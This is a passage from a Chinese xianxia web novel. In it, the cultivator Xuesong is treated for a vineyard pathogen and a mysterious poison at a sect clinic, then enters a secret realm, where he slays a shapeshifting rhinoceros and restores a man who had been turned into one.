涌出来的人围在病床边,看了看病床上的长青的脸色,压低声音飞速讨论起来:“是和之前的人一样吗?”
“气味是一致的,神态也是,突然的疲惫和昏迷,对得上。”
“检查他的眼睛,耳朵,皮肤和手!还有口腔和喉咙,快点!”
他们一边说一边动起手来,提着一只黑色的暖黄色小灯,扒眼皮的扒眼皮,提耳朵的提耳朵,还有打开口腔,查看喉咙的,当然,也有仔细检查露在外面的皮肤和两只手的。
简直是一套简易的全身检查。
雪松悄悄往后退了退,感觉如果他们知道自己去过葡萄园,而且出过相同的症状,很容易被拦下来,那明天的秘境能不能参加就不好说了。
不要啊,不要啊!他真的很想去的!他期待好几天了!他不能不去啊!雪松皱着眉头,往门口又退了退。
但这个时候,床边的人已经检查完毕,转过头了,目光灼灼,神色严肃看向了他,好像一群捕猎的鹰,注意到了猎物。
第84章
“请暂时不要离开, ”回春从人群里走了出来,一脸认真诚恳,目光中带着微微的担忧, 皱着眉头, 注视着雪松说,“你需要留下来检查一下, 情况不太对。”
事已至此, 雪松也不好转头就走,叹了一口气, 答应下来:“那请尽快检查,我希望在明天之前离开这, 我明天还有事儿呢。”
“我们会尽力的。”回春点了点头, 答应了, 看向了周围的其他人, 其他人得到允许,立刻开始行动, 一拥而上, 把雪松带出了房间,对他进行检查。
检查的速度很快,一下子就结束了,雪松坐在椅子上,左右看了看他们,他们皱着眉头, 低声讨论着刚才的检查结果。
雪松感到有一点头晕,眼睛也痛痛的,抹了一把脸,发现脸上不知什么时候流出了血水, 眼泪混在里面,黏黏糊糊的,散发着一股腥味,一种粉红色从他的手指上,湿哒哒往下掉。
他皱了皱眉,觉得不好,晕过去之前,看见周围的人扑了过来,神色紧张,速度极快,大约是想要抢救他?
他醒过来的速度也很快,大概也就是一两秒,周围的人看见他睁开眼睛都松了一口气,随后往外散了散,给了他一点呼吸新鲜空气的机会。
他发现自己不知什么时候被转移到病床上了,其他人陆陆续续退了出去,只有回春留在房间里,站在床边对他说:“我来向你讲解一下现在的情况吧?”
雪松点了点头,他确实需要知道这个。
“经过刚才的检查,很遗憾通知你,”回春皱着眉头说,“你染上葡萄园病菌了,这是一种从葡萄园发现并传播的传染性病菌,传播性和致死性都不是很强,但是,这是一种非常难治,而且现在还没有很好的明确的治疗手段的病,这种病菌非常顽固,一时半会儿治不好……”
“你的意思是说,”雪松提起了警惕,向他问,“我不能去参加秘境了?”
“不是,”回春没想到他的注意力在这儿,愣了一下,摇了摇头,“如果你想去,你还是可以去,我可以给你提供,类似于阻断药剂的东西,你吃下去之后,在外面行动,就暂时不会传染其他人,但你仍然要小心,因为那种药只是不会扩大传染范围,却不能阻止你的病情恶化。”
“这倒没什么关系,”雪松对于自己的病情会不会恶化,并不太在乎,因为他有系统,系统会保他的,“那药在哪儿呢?现在给我吧?”
他把手伸出去,看着就在面前的回春。
回春眨了眨眼睛,慢吞吞把一个瓶子拿出来,递给他,他正要去拿,回春又把瓶子收了回去。
他露出疑惑的目光,望着回春,回春垂着眼睛,看着那个药瓶,犹豫着说:“这东西有一点副作用,你可能会在使用之后出现短时间的幻觉,你确定要吃吗?”
“我一定要去参加秘境,所以我要吃,”雪松再次摊开手对他说,“把药给我吧?或者你还有什么要嘱咐的?”
回春把药瓶放在他的手上,看着他打开瓶子,嗅了嗅药,就把药丸吞掉了,一脸担忧说:“这个药是有时效性的,如果你真的一定要去参加秘境,考虑到一时半会儿,恐怕回不来,你最好准备一点多余的药丸带在身上,察觉不对就开始补充,那样比较稳妥。”
“怎么个不对法?时效性又是多少?”雪松把空药瓶放在旁边,感觉自己好像吞掉了一颗用葡萄汁浓缩的糖丸,喉咙里都隐约泛起葡萄的味道,酸酸甜甜的。
“时效性因人而异,毕竟每个人的体质不一样,感染的时间和严重程度也不一样,”回春叹了一口气,坐在旁边说,“刚才的检查结果显示,你的感染时间不长,但是严重程度出乎意料,所以一颗药丸最多维持一个星期的效果,如果你要在秘境里待一个月,你至少要准备四颗药丸,最好是五颗,这样比较保险。”
“那就给我五颗吧?”雪松看着他问:“是不能给,还是没有了?”
“都不是,”回春慢吞吞掏了掏口袋,掏出了一个新的瓶子递给他,“这一瓶里面有五颗药丸,应该够你去秘境里用的了,只是——”
雪松接过瓶子看了看,里面确实有五颗药丸,他把瓶子收起来:“只是什么?你们还要隔离我吗?秘境明天就开始了!”
“只是我不明白,”回春用复杂的目光注视着他,皱着眉头,有些不解似的,慢吞吞问,“你怎么会感染得那么严重?按理说感染时间不长的人,是不会感染特别严重的,你简直就是特例。
可是我看其他人,感染到你这种程度的,不是基本丧失行动能力,就是基本丧失语言能力或者正常的精神状态,你看起来还算正常,你有什么头绪吗?”
雪松既搞不清楚自己是什么时候感染的,也搞不清楚自己感染的程度究竟有多深,听他这么一说,想到了进来时候看见的躺在床上的那些病人。
有一部分躺在床上辗转反侧,满脸痛苦,时不时发出声音,另外一部分一动不动躺在那里,盖着被子,枕着枕头,睁着眼睛,满脸麻木,没有表情,就像是只剩下皮囊的木偶,身体里溢出一种葡萄般的甜腥味。
那些就是感染严重的吗?
雪松确实去过葡萄园,有感染的可能,也在葡萄园待了一段时间,有感染加重的机会,按照回春说的,时间不同,感染程度不同,他再怎么加重,也不应该是现在他们所检查出来的结果,那么——
他在葡萄园里做的事情会影响感染程度吗?他在里面逛集市,换衣服,戴面具,买东西,旁观检查,并且带了东西出来……
感染程度会是因为这些事情加深的吗?还是他的个人原因呢?他来之前都不知道自己感染了。毕竟他不是医修,他不清楚。
但是,他忽然又想到从葡萄园离开的时候,遇到了路过的回春,回春对他讲起病人的事情干呕。
万一他并不是在葡萄园里感染的,而是被回春传染的呢?那个时候,回春有没有感染葡萄园病菌?有没有吃下阻断传染的药?
“我不知道,”雪松看了一眼回春,挪开目光说,“也许是倒霉?”
也有可能是因为,他在魔修那里中了毒,毒素和病菌相互感染,导致了他的感染程度异常加深,但魔修的事情不好说,如果不提这个,只提回春当初在葡萄园门口的事,又像是在指责……
雪松想了想,又有点好奇:“你还记得之前在葡萄园见我的时候吗?你和我说了有人得病的事,那个时候就已经有人感染了吗?”
“那个时候?”回春若有所思喃喃:“事实上,最初感染的人应该更早一点,但是我们压根没查出来,究竟是从谁那儿感染来的。”
“那能查到的最早的感染者是谁呢?”雪松又问。
“那个人,”回春眨了眨眼睛,低声道,“已经、已经——”他似乎不知道怎么说,脸上露出一点无措的神情,最终皱着眉:“你见了就知道了!”
“那你现在能带我去见他?”雪松越发好奇,眨巴着眼睛望着他问。
回春缓缓摇了摇头,往身后看了一眼,像是担心有人听见他在说什么:“这次不行,如果你想见他,必须要打报告,提前申请才行,我没有直接把你带过去的权利,而且,他的情况太危险了,哪怕你已经被感染,而且程度很深,也不能就这么过去,容易出事……”
他勉强笑了一下,像是想驱散房间里那种阴云密布般的浓稠黏腻而微妙抑郁的氛围,但是适得其反,以至于看起来更诡异了一点,声音都沙哑了:“下次吧,下次你再来的时候,我准备好东西,打报告申请,你应该有机会见到他。”
雪松将信将疑,点了点头,但听他这么一说,也知道今天肯定是见不到人了,勉强把心里的好奇的火焰压回去,叹了一口气,靠在床上说:“那好吧,下次有空再说。”
回春重重点了点头,很高兴他能答应,脸上露出一种如释重负的神情。
他想了想,仿佛试图补偿,对雪松讲起了长青的情况:“你带来的那位朋友的情况比你好一些,感染时间更短,感染程度更低,抵抗程度似乎要高一点,在经过我们的治疗之后,已经好了很多了,过一阵子就会醒过来,再休息观察一下,没有问题就可以离开了,可以算是痊愈。”
雪松挑了挑眉,有点惊讶,之前看周围的人如临大敌的状态,还以为这病治不好,没想到,还是有机会的,因此确认问:“完全痊愈吗?”
“如果后期观察没有出事,那就是完全痊愈,”回春非常谨慎,“但如果重复感染,还是要过来看的,他这几天最好不要出门。”
雪松点了点头:“那等他醒了,你们告诉他吧,也不知道我去秘境之前他会不会醒,如果他没有醒,我也不用专门去向他告别了。”
“他应该会在那之前醒过来,”回春看了看时间,眉目间又染上愁绪,“也不知道他会不会有什么异常反应,希望一切顺利。”
“他是被我传染的吗?”雪松想了想问。
回春愣了一下:“从时间和感染程度上判断,确实有可能,如果他今天没有接触你以外的人,也没有去葡萄园,那多半是了。”
他眨了眨眼睛,不知道雪松会不会有心理负担,尝试着安慰说:“你之前又不知道,这不怪你,何况你有仙尊保佑,吉人自有天相,相信会没事的。”
雪松听他突然提起仙尊,有一种诡异的,以为已经被别人忽视却又被提出来的感觉,像是滑冰的时候摔了一跤一样,陷入沉默。
但雪松想了想,什么都不说也不太好,仿佛在生气,就垂着眼睛,迟疑着低声道:“谢谢。”现在说没关系还是太迟了吧?
回春注视着他,眯了眯眼睛:“没关系。”只是听人提起仙尊就这么伤心吗?仙尊不是已经死了有一段时间了吗?还没能完全接受?
总不会是接受能力太差,毕竟,连自己突然感染葡萄园病菌这种事都能接受,接受能力不可能太差。那就是太放在心上了?
时至今日,还是这样吗?情感浓度没有丝毫变化?甚至随着时间的发酵而越来越深?这是不是有哪里不对?不应该随着时间的推移而逐渐感情淡化,放下执念吗?
两个人相对着沉默了一段时间,谁也不知道说什么,也不知道应不应该先开口,一个回春堂的医修从门外推门进来。
他看见他们两个在里面沉默着,就向回春问:“该说的都说了吗?药已经给病人吃了吗?情况观察过了吗?病人说感觉怎么样?愿意继续留下来吗?”
回春一一回答:“话已经说过了,药已经吃了,情况观察了,病人明天就要走,感觉……”他转头看向雪松。
雪松摸了摸眼睛和脸,之前流下来的血和眼泪都已经被擦干净了,面色平静回答:“感觉正常。”连眩晕感也没有了,也不知道是吃过药,还是躺在床上休息过的原因。
总之,他确实是好多了。
门外的医修点了点头,对回春招手,两个人走到门口,叽里咕噜了一阵,医修走开了,回春又回到房间,皱着眉头,打量着雪松问:“他刚才说,检查到你的身体里除了葡萄园病菌的感染之外,还有一种毒,你有什么头绪吗?”
“我不太清楚,”雪松摇了摇头,一脸迷茫,像个什么都不知道的普通病人一样问,“有什么办法能解决吗?放着不管会怎么样?”
回春注视着他,好一阵子之后说:“可以针对那种毒,暂时给你一颗抑制的药丸,但是,治标不治本,你必须每周过来拿一次药,药量和药效都不一样,时间越久,积载的毒素越重,一旦停药,可能会有很强的反噬,你要不要考虑一下?”
“不用考虑,直接把药给我就行,”雪松听他们有办法,立刻摆了摆手,“记得多准备几颗,我还要去秘境呢,就准备五颗吧,如果不行,四颗也可以。”
“你真的不知道毒是从哪里来的?”回春正准备走,又转头看向他,目光狐疑,神色若有所思,将信将疑,低声问。
“我不知道啊,”雪松睁着一无所知的眼睛,好像不明白他为什么这么问,疑惑道,“我应该知道吗?我连自己是怎么感染上葡萄园病菌的都不知道,怎么会知道还有什么毒的事情呢?”
其实还有些话想说,但是多说多错,想了想还是不提了,免得被瞧出破绽。
回春皱着眉头点了点头:“那好,我去给你拿药。”他说完,走了出去。长青的病房就在隔壁,路过门口的时候,听见里面的人醒了,回村顺便进去查看了一下。
他一边查看长青的情况,一边顺口问:“你和雪松之前是在做什么?怎么突然就昏倒了?还是雪松亲自把你送来的!”
长青皱着眉头若有所思:“之前?我在他的洞府门口等他,想找他说话,他很累,我说着说着就昏倒了。”
回春顿了顿,抬起头来问:“那你找他说什么呢?又是为什么在门口等他?”
长青垂着眼睛说:“我路过一个巷子,看见他好像在等人,他说他和仙尊约好了,要一起去那儿的,但是没带香烛,让我帮忙,到他的洞府去拿一下,可是他后来好像忘了这回事,既没找我也没提,我就想问他,他没给我洞府钥匙,我没进去,没拿到东西,他怎么也不觉得有什么?”
“他说什么?”回春问。
“我不知道,我不记得了,可能他没说?”长青想了想,摇了摇头。
回春若有所思:“那好,你休息吧。”仙尊,又是仙尊。雪松真是和仙尊脱不开干系。难道他一心求死,想为仙尊殉情,所以中了葡萄园病菌,身体抵抗能力变差,才会感染程度比别人深得多?
至于毒,是葡萄园病菌变异?不对,其他中了葡萄园病菌的人可没有中毒,要变异,也不应该只变一个。
那就是雪松觉得身体不好,可能活不了多久了,反正这个世界没有仙尊,活下去也没什么意思,不如追随仙尊而去,专门请人给自己下的毒?所以听见治标不治本也无所谓?
对了,那种毒药有个别名,叫做同生共死,因为中了那种毒药的人,一旦想到已经死去的身边的人,稍稍情绪激动,就会痛苦不堪,次数一多,身体垮了下去,就会死掉,这么一来,活着的人和死了的人自然同生共死,因为最后都是要死的,时差还不会太久。
如果不在乎,那是不会痛苦的,也几乎不会死,这样的人很少,也大概率不会中这种毒,因为下毒的人会知道,给这种人下这种毒,没什么大用,没必要浪费自己的毒药。
那么,这种毒药,真是雪松请人给自己下的,就为了接近已经死去的仙尊吗?所以他不肯说?所以他也不在乎能不能解?
回春一边往外走,一边觉得这样不行,好歹要试探试探,万一是自己想错了呢?万一雪松不是那样做的呢?万一这件事还有回转的余地呢?
他拿了药回去,把药递给雪松,嘱咐说:“和之前的那种一样,一周吃一次就行,如果失效了,就多吃一次。”
雪松点了点头,拿着药瓶倒出一颗药丸来吃掉了。
回春看着他试探着问:“你今天去哪儿了?来这里之前,回你自己的洞府之前,有没有见过什么别的人?为了以防万一,这是需要知道的事,如果也有人感染,但是没有吃药,在外面乱晃,把葡萄园病菌扩散,那就不好了。”
“我见过住在巷子那边的,雪顶,”雪松想了想,不知道他认不认得那个人,也不知道那个人是不是宗门的一份子,也试探着问,“你知道有那么个人吗?我从那回来的时候还没什么,之后——”
他停顿了一下,垂着眼睛,略一思索,欲言又止道:“之后,我就不太记得了,我好像心情不太好,不想记得什么东西,随便在宗门里找了没人的路走了走,很晚才回洞府门口去,所以才很累,不想多说什么,也什么都不想做,如果不是来到这里,我现在早应该在自己的洞府里休息了。”
“记忆缺失吗?这是感染了葡萄园病菌的症状之一,”回春皱着眉头喃喃自语,“也不知道你是先感染后缺失的,还是先缺失后感染的。”
如果是先感染后缺失,那缺失记忆是因为感染,这还算正常,如果是先缺失后感染,说不定是被人敲昏了,清理了记忆之后,强行感染上的。
那一定有人在宗门里心怀不轨,暗中找事,必须要尽快找出来不可,不然还不知道要有多少人受害。
毕竟,雪松已经不算很弱的修士了。
“我会抽空去问问雪顶的情况的,”回春对雪松点了点头,立刻要走,突然又顿住,想起自己问这些本来是因为什么,看向雪松问,“那你去找他做什么呢?”
“和他谈了谈仙尊的事。”雪松垂着眼睛,叹着气回答。
他已经猜到,回春向他问这些问题,多半是已经问过醒过来的长青,知道了一点他们来之前发生的大概。
那如果现在对回春说,和仙尊无关,要么证明雪松对长青说了谎,要么证明雪松对回春说了假话,回春未必相信他的话。
那就只有是和仙尊有关了,更何况,这话也不算有错,因为雪顶找雪松确实谈了仙尊的事,不是仙尊活着的时候的事,是复活仙尊的事,怎么又不算呢?
回春定定看着雪松的神色,发现他说的是真的,突然冒出一丝挫败感。原来真的是为了仙尊?那猜测多半没错了?雪松中毒果然是,想要追随仙尊而去的结果?用情至深到如此地步吗?
那记忆缺失说不定是自己做的,因为缺失的那部分记忆里,正在给自己下毒,或者是请求别人给自己下毒,为了避免被人知道,或者被人追查到帮忙的那个人,才会主动清理掉自己的记忆,以此来避免事情不成功,或者,事情被人猜测到之后,对帮忙的人不利?
长青忽然想起来,自己之前在葡萄园见到雪松的时候,雪松神色匆匆,又有些迷茫,身上有一种刚刚受到影响的,仿佛摇摆不定的气质,看起来十分脆弱,引人怜惜,如同一只无脚的雪白色的海鸥,稍不注意就会被海浪吞噬。
所以他才走上前去,试图和雪松搭话,雪松和他说话的时候,看起来并没有什么,他勉强放了心,随便嘱咐了两句也就走了。
现在看来,放心放得太早了一点,也许那个时候,雪松就猜到了葡萄园病菌有记忆缺失的效果,才会在之后主动清理掉不想让人看见的记忆。
雪松正等着回春问话,结果发现回春沉思起来,一时半会儿都不开口,有些疑惑,抬起眼来看向他。
他像是触电一般,猛然一惊,回过神来,既不想刺激雪松,也不想为难自己,连忙道:“我想起来还有事情要做,不好意思,我先出去一下!你有什么需要帮忙的,可以直接找外面的医修,他们会来的。”
话音未落,回春急匆匆走开了,好像真的很忙一样,迫不及待从门口出去,一下子不见了,如同一尾入水的游鱼,钻入人群,连涟漪也没荡起。
雪松只觉得一阵风吹过,人就不见了,往门外看了看,只能依稀看见他逐渐消失的背影,便收回目光,若有所思。
他看起来像是找人求证去了,他真是去找雪顶了吗?他知道雪顶在哪?他们很熟,还是只是听说过?还是认识的?
如果只是听说过,回春直接去找雪顶,不会被灭口吧?那应该有点困难,毕竟突然少了一个人,回春堂不会不察觉。
那要是把人制作成傀儡,再送回来呢?既可以起到威慑的作用,又可以消灭掉知道秘密的人,还不会很容易被人察觉有什么问题。
凶多吉少啊。不过,也不是一定不安全。毕竟,宗门里面动手,比别的地方,总是更容易被发现一些。
更何况,回春现在,应该只知道雪松见过雪顶,但不知道他们具体说了什么,也不知道雪顶的真实身份。那应该还有一点活路。
希望他没事吧。雪松叹了一口气,感到疲倦,早就想休息了,看了一眼时间,时间不早了,再不休息天就亮了。
他躺在床上,沉沉睡了过去,在天亮之前,睁开眼睛,醒了过来,缓了一会儿,从床上起来,下床就要走。
出门的时候,他刚好撞上来查房的,查房的医修在门口看着他:“你要出去?”
“是的。”雪松点了点头。
“吃药了吗?”查房的人问。
“吃过了。”雪松回答。
“现在感觉怎么样?”查房的人又问。
“还好,”雪松好歹是休息了醒过来的,比没休息的时候,更有精神一些,语气平静回答道,“没有什么不适,我现在可以走了吗?”
查房的人把他上下打量了一番:“好吧,你可以走了,如果觉得哪里有什么不对,你可以随时再回来。”
雪松点了点头,正要走,忽然想起来回春的事,又没有看见人,就向那个查房的问:“你见到回春了吗?他在吗?”
“他好像出去了,”查房的人皱着眉头想了想,勉强想起来好像是有这么一回事,十分疲倦回答道,“一时半会儿不会回来的,他出去的时候说,他要去排查一个潜在病患,你要找他?那少说要等到天亮了。”
“不,我不找他,只是没看见,问一问,”雪松连忙摆了摆手,“我现在就要走。”他还得回洞府去一趟,看看有没有什么东西要带。
真在这等到天亮,就不一定来得及,参加秘境了。那可不是迟一会儿半会儿也可以的事。秘境要是在他面前关了,他非得回去睡上三天三夜才能平静心情。
也许三天三夜还不够。他可不想那么不高兴。
查房的人点了点头:“那你走吧。或者有什么话要我替你,在他回来之后告诉他的?回春堂也可以负责转交东西。”
“不用了,”雪松想了想,还是拒绝了,虽然现在不是很急,但他还是赶时间,“我没有什么东西要给他的,也没有什么话要说。”
更何况,雪松能对回春说什么呢?你不要再查下去了,这样对你不好?这不是摆明有问题吗?
你已经查过了吧,没有什么吧,不要再查了吧?听起来有一点像质问和不满的结合,语气恐怕不会很友好,这种话更加不能让别人转述了,容易出事故。
而且,回春是回春堂的人,排查潜在病患是有必要做的,本来就要负责的事,知道了就去处理,也不算越界,无论如何,算不得过分,那雪松又有什么理由阻止他呢?
还是静观其变吧,如果什么事情都没发生,那就最好,雪松也不用插手,如果发生了事情,再看一看,去找雪顶问一问也不迟。
雪松一边想,一边回到了自己的洞府门口,天已经慢慢要亮了,云边出现霞光,地面浮出碎金,影子沉默印在墙壁上,用安静的眼睛看着他。
风从树林中吹过,发出簌簌的响声,雪松推开了洞府的门,走了进去,洞府里的阵法感应到他,一点一点亮了起来。
他看了看桌子,坐在旁边,转动了一下储物戒指,开始检查里面的东西是否充足,之后开始擦他的剑。
天终于完全亮了,雪松收拾好东西出了门,到了指定地点,见到了长老,长老正在这里走来走去。
有一些人已经提前来了,或站或坐,零零散散,偶尔低声交谈,阳光从他们脸上一掠而过,像某种恍惚的夏日蝉鸣。
雪松去找长老,长老看见他:“你来了?我还以为你不会来了,听说你昨天去回春堂了?还带着长青?他也昏迷了?醒过来了吗?”
雪松一一回答:“昨天去过回春堂,是带着长青,他是昏迷了,但是我走的时候他好像醒了,应该是在我走之前醒的。”
长老点了点头,一脸和蔼,指了指旁边的空地:“那你到人群里去吧,等会儿,这里有个传送阵,会直接把人都送到秘境口去。”
雪松点了点头,又等了一阵子,人齐了,时间到了,传送阵法开启,只见白光一闪,人群全都消失在空地,出现在了秘境入口。
雪松看着近在咫尺的入口,走了进去,进入了秘境,秘境里是一片茂密的森林,地面杂草丛生,散发着一股浓郁的草腥味。
草丛里传来一阵一阵的虫鸣,树枝上传出了各式各样的鸟叫,但是,不知道鸟在哪里,好像躲起来了,在树叶后面,一跳一跳的,把树叶弄得刷刷响,很是顽皮。
雪松随便挑了个方向,往前走了两步,看周围没有人,前方不远处的地面上,柔软的草丛往下凹陷,像是被什么东西踩过,变得黑漆漆湿漉漉的,有一股血腥味。
雪松掏出了龙骨指针,他需要一个明确的有东西的方向,而不是像无头苍蝇一样乱转,那不仅危险,而且对他一点用也没有。
龙骨指针里的眼睛颤抖了两下,猛然间睁开来了,眼白中爆出红血丝,眼珠转了转,似乎往周围看了看。
虽然完全不知道这只眼珠子都已经在龙骨里面,究竟是怎么看到周围的情况,但这只眼珠子确实很快给出了一个方向,往龙骨的一个边角挤了过去,显然,这只眼珠的意思是,往这边走,就会找到东西。
雪松拿着指针抬起头来,往周围看了看,指针里的眼珠,移动的方向,和面前的那个印记并不重合。
这么看,如果按照指针的指示,往前走的时候,应该并不会遇到在草丛上留下印记的那个东西,会比较安全。
雪松按照指针给出的方向走了出去,并小心翼翼避开了地面上被踩踏的草丛,避免溅上草丛的汁液,那些草的味道还挺大的,比周围的其他的草更大。
走了一段路之后,眼珠似乎有些不耐烦,在指针里转来转去,试图让他加速,虽然在一个陌生的地方,冒冒失失上天有些危险,但加速的办法并不止这一个。
雪松想了想,开了疾走,没过一会儿,他看见不远处,半躺着一个人,闭着眼睛,额角流着鲜血,也不知道是摔倒的时候磕到石头上了,还是被偷袭之后带过来的,也有可能是伪装成人做诱饵吸引猎物的怪物。
他小心翼翼走过去,还没走到那个人身边,就猛然间顿住了,因为他躲在树木后面,看见阴影处,走出来一只身形庞大的独角犀牛。
那只犀牛比普通的犀牛大了两三倍的样子,身上的皮明显更厚,颜色更深,但是鼻子前面顶着的那只犀牛角,雪白如玉,辉光莹莹,仙气四溢,脂腻如膏,看起来价值昂贵,很是诱人。
如果把那只犀牛角掰下来,只需稍稍炼制,再加以法阵镌刻,应该就能作为一件很不错的灵器使用。
就算不拿这东西作为灵器,只是清洗干净,暴晒之后,再研磨成粉,用来入药,治病或者提升修为也是好的,毕竟品质是一看就不错的类型。
犀牛皮可以剥下来,做成防御类型的犀牛甲,犀牛肉可以洗净切块腌制,串成串,再就地随便搭起架子,挖个坑,猛火烧烤,味道也许不错。
正常情况下,普通的大型动物,尤其是皮糙肉厚的那种,一定不会很好吃,如果这种动物,同时还擅长攻击和奔跑,那肉质一定更加老得难以嚼动,还不好入味。
要是这种动物还没有阉割,整天乱吃乱滚,肯定一身臭,别说吃了,就算闻一闻,恐怕都会让人呕吐。要是不放血,直接水煮,也不加任何调味料,逼着人吃下去,那简直是酷刑。
但这是在充满灵气的环境的蕴养下,生长出来的,有灵气的犀牛,那就不一样了。
通常生长在充满灵气的环境中的动物,因为灵气的原因都会非常好吃,假如自身就有灵气,那是双倍的好吃,就像是提前用嫩肉粉处理过后,无论如何调味都难吃不到哪里去的,超级上等的食材。
这种时候,吃原味,属于是品本味,只加盐,是粗烹调,精心制作,那是细烹调,就算是乱加佐料,乱用火候,也有一个下限在。
哪怕落到厨房小白的手里,也不用怕料理之后吞不下去。除非是落在做饭好像下毒药的人手里,那只能说又糟蹋又倒霉了。
雪松虽然不善厨艺,毕竟不是个厨子,平时也不常常下厨,他好不容易修炼到这个地步,就是为了不吃饭也活着,天天做饭,岂不本末倒置?忙得都快脚不沾地了,休息还来不及,哪能去做什么?
但基础的食物处理,他是会的,所以他看着那头巨大的犀牛,已经可以想象到这东西落在自己手里时,被切割成块制作完成所能拥有的味道,禁不住眯了眯眼睛,打算立刻偷袭。
正要行动,雪松忽然看见,那犀牛低着头靠近了地上的人,便不由自主顿了顿,想知道这牛究竟要做什么,重新藏了起来。
屏气凝神中,雪松看见犀牛上的角碰了碰地上那个受伤的人,那个闭着眼睛的人,身体猛然一颤,像是被强行唤醒,不由自主呻吟起来。
第85章
那个人的声音挺大的, 掩盖住了雪松的呼吸声,雪松并不担心被发现,但见此情形, 仍然忍不住皱起眉头。
因为他分不清现在究竟是什么情况, 那头犀牛是在救人还是在害人?如果只是路过,是用不着专门碰一碰地上的人的。
如果是在救人, 怎么那个人的声音越来越大了?如果是在害人, 那个人的表面上看起来并没有什么新鲜增加的伤口,也还没有死。
难搞。
正在雪松犹豫的时候, 那边地上的人突然睁开了眼睛,挥舞着手臂, 大喊大叫起来:“救命救命救命啊!”他一边喊, 一边四肢并用在地上爬行, 速度飞快, 好像一只天生的甲壳虫,呲溜一下就窜出去老远, 不知道是不是故意的, 一下子窜到了雪松面前。
哪怕雪松当时是躲在树干后面的,也被他这样的速度惊了一下,毕竟他看起来是受了伤才躺在那边的,现在刚醒过来就能这么快,看起来越发奇怪了。
两个人四目相对,那个人突然露出涕泗横流的表情, 十分震惊喜悦,感激涕零似的,扑了过来,踉踉跄跄伸长了手臂喊道:“救救我, 求求你救救我!”
雪松敏锐发现他的手指甲变长了,手心里还有血迹,而他的手上并没有伤痕,那那些血是哪来的?他留的指甲又是什么用处?
只是一眨眼的时间,雪松从他面前闪了出去,他没有碰到雪松,只是一头撞在树上,抱住了那并不十分粗壮的树干,和粗糙的树皮来了个面对面,只听轰的一声,树干咔嚓咔嚓,就裂开了纹路,摇摇晃晃,往对面倒去,偏差了大概四十五度。
雪松倒吸一口凉气,见此情形也不必犹豫了,这个人就算只是一个受伤的人,也绝对有攻击意图,因为受伤的人,哪怕一时掌握不好自己的身体,也不至于用力过猛到这种程度,难道他的伤口不会痛吗?
更何况,这个人看起来,并不像是一个正常的普通人类,想也知道,普通人怎么会在这儿?这可是专门开的秘境!还是新开的!
本来雪松怀疑这个人可能是提前来到这里,意外被困住,被迫和周围的危险周旋而导致受伤的修士,四处游历的散修容易受伤和被困是正常情况,但现在不那么想了。
因为他觉得,这个人也许是犀牛的障眼法,说不定那边的犀牛才是正常人,只是因为障眼法,才会被人看起来像是一头犀牛。
面前这个才是真犀牛,还是一个伪装成人类作为诱饵,想要欺骗路过的陌生人,趁势袭击的犀牛。
那就不必手下留情了!雪松一拳打了过去,只听轰的一声,对面的树干完全被轰断了,可惜烟尘散去,刚才抱着树的那个人没有被打中。
他一脸兴奋的跃跃欲试,不知什么时候转移到了另外一个方向,笑眯眯说:“我认得你,你是仙尊吧?我早就想和你打一场!只可惜,从前没有那个机会,既然你今天来了,那我就好好招待招待你吧!你可不要先逃跑啊!”
话音未落,他像一个炮弹一样冲了过来,在半空中发出轰轰的声音,只从声音上听就知道,要是被撞着了,绝对不会好过。
雪松抽出他的剑,一剑斩了过去,对面发出呼呼呼的声音,迎了上来,被切成了两半,血液从中间流了出来,四肢颤抖了一下,就躺在地上不动了。
一团白雾散去,地上的那个人变成了一头犀牛,雪松转头看向旁边,那里本来有另外一头犀牛,此时也确实仍然有一头犀牛。
雪松提着剑向那头犀牛走了过去,那头犀牛目露惊恐之色,一边往后退,一边摇头,喉咙里发出含糊不清的鸣叫,像是求饶,又像是哭泣。
雪松看这头犀牛似乎不太擅长奔跑,一边靠近一边说:“不要害怕,我问你,你是人还是犀牛?”
那头犀牛定住了,不再往后退,只是浑身颤抖着,发出呜咽的声音,低下头去,漆黑的大眼睛眨了眨,拳头大的眼泪就掉了下来,啪的一声砸在地面的柔软湿润的草丛里。
雪松看见这样的情形,就明白对面多半是人被变成了犀牛,走进之后抬起手来,触碰了一下那头犀牛的皮肤,皮肤十分粗糙,而且湿润,表面上还有一层厚厚的泥浆壳,摸起来有微微的蠕动感,好像底下藏了一层密密麻麻的虫子一样。
雪松皱了皱眉,使用了解除术,把这头犀牛重新变回了人,这头犀牛变回人的样子,和刚才那头犀牛的人形模样完全一致,多半那头犀牛就是照着他的样子变的。
这个人一变回本来的面目,就双腿一软,跪倒在地,两只手为了避免直接扑倒而撑在了地面上,呼吸急促而剧烈,胸膛一个劲起伏,好像里面装了一只即将爆炸的气球一样,喉咙里发出呼哧呼哧的声音,谁都听得出来,他十分激动。
雪松站在旁边缓缓收回手看着他,把他打量了一番,觉得他这副样子应该不是假装的,收回目光去看自己刚才接触他的那只手。
很可惜的是,他身上的那一层泥浆似乎是真的,所以雪松刚才碰他的时候也接触到了,现在手上脏兮兮的,一层泥。
雪松皱着眉头,往手上丢了一个清洁术,手上的泥巴被清洁得干干净净,他甩了甩手,勉强满意,转身就要走。
刚才那头大犀牛还躺在旁边,雪松走了过去,拿着自己的剑,就开始准备切块剥皮,不过,开始之前,雪松还是找到了这犀牛的角,把这东西一点一点切了下来。
旁边的人在痛哭流涕之后,终于抬起头来,抹了一把脸,发现旁边的人不见了,吓了一跳,连忙左右查看,看见雪松在这边切割犀牛的尸体,又吓了一跳,颤颤巍巍,要四肢并用爬走。
可是刚爬了一点,又想起自己孤身一人,无依无靠,刚刚被变回人形,如果遇到的不是雪松,而是别的什么人,说不定一刀就把他斩了,当做战利品带走,都未必细看他究竟是不是人,更糟糕的,也许他变回了人,杀他的还要说一句晦气,觉得是犀牛在刻意变化,想要逃跑。
他想着想着,想到之前遇到犀牛的时候被耍得团团转,好像完全只是小孩手里的玩具一样,几乎要被捏吐,满头大汗,肝胆俱裂,痛苦不堪。
那犀牛根本不把他当人看,倒不如说,这也正常,毕竟他们本来就不是同类,犀牛就算把他当人看,也用不着温和对待他。
他一边呜哭着,一边感到了一种后知后觉的强大的恐惧,好像之前受到的所有痛苦对待的情绪都在这个时候猝然发泄了出来。
他哭着哭着,向雪松爬了过去,就像是黑暗中的小虫子,向着明亮的光,一扇一扇翅膀飞了过去。
雪松正专心致志处理犀牛的角,听见他的哭声,倒也不怕他偷袭,可是,他的哭声越来越近。
雪松受到了一点影响,而且觉得他吵,转头一看,发现他已经越来越近了,不由得皱起眉头,感到疑惑,出声喝止:“站住!你干什么?”
